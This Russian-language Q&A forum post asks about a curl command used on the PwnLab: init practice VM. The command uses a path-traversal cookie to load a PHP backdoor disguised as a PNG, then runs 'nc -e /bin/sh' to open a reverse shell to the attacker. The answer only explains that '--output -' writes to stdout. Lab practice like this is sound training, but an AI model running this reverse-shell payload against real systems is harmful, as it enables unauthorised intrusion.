Понимание Curl Query - PullRequest
       127

Понимание Curl Query

0 голосов
/ 21 июня 2020

Я использовал приведенный ниже запрос curl при выполнении практического теста виртуальной машины под названием Pwnlab init. Цель запроса - заставить страницу index. php получить доступ к файлу png, который на самом деле является замаскированным php скриптом бэкдора, а затем заставить атакуемую машину выдать команду netcat для подключения к моей атакующей машине . Я узнал, что использовать этот запрос, только после исследования, как другие смогли успешно завершить виртуальную машину. Я понимаю весь запрос, кроме первой части curl --output -. Может ли кто-нибудь помочь мне с тем, что делает эта часть запроса?

curl --output - -b lang=../upload/6a8c0c37efded4d620a5c59990f07b90.png \
http://xxx.xxx.xxx.xxx/index.php?cmd=/bin/nc+-e+/bin/sh+xxx.xxx.xxx.xxx+xxxx

1 Ответ

0 голосов
/ 21 июня 2020

Указание вывода как - (один da sh) приведет к тому, что вывод будет выполнен на стандартный вывод.

https://curl.haxx.se/docs/manpage.html# -o

Эта опция обычно избыточна, поскольку по умолчанию используется стандартный вывод. Может быть полезно при работе с двоичными данными.

...